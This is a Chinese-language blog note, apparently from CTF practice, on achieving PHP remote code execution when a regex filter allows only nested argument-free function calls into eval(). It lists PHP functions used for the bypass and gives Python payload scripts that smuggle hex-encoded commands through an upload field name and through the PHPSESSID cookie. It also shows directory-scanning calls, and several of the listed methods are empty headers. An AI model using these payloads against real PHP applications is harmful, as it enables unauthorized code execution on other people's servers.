无参REC
参考师傅文章:PHP Parametric Function RCE
遇到了一道关于无参命令执行的题目,当时根本做不懂,东看西看,最后总结了一些方法,终于把题目解出来了
什么为无参rec
若有如下限制规则:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
此处限制为只能传入var_dump()、print_r()之类的函数、可以包裹嵌套
但是唯独不能单独出现,类似于print_r(123) 中间包含参数
总结了一下无参rec常用的函数
localeconv() 函数返回一包含本地数字及货币格式信息的数组(第一个是个点)。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
getallheaders() 返回http头部信息 //apache中有效
get_defined_vars() 返回由所有已定义变量所组成的数组
current() 返回数组中的当前单元, 默认取第一个值。
each() 返回数组中当前的键/值 并将数组指针向前移动一位
prev() 将数组的内部指针倒回一位
pos() --> current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 函数将内部指针指向数组中的最后一个元素,并输出
array_reverse()以相反的元素顺序返回数组。
array_filp()交换数组中的键和值
array_rand()随机返回一个或多个单元
var_dump() 打印数据的类型
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
show_source() --> highlight_file()的别名
print_r() 要打印的变量,string、integer 或 float 将打印变量值本身。格式化 array
常用的注入payload
方法1:
方法2:
方法3:
方法4:
方法5:
import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print(r.content)
方法6:
session_id
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print(r.content)
方法7:
getcwd() 获取当前工作目录
dirname() 返回路径中部分目录
var_dump(getcwd())
var_dump(scandir(getcwd())) 扫描当前目录文件
chdir(dirname(getcwd())) 回到上一级目录

浙公网安备 33010602011771号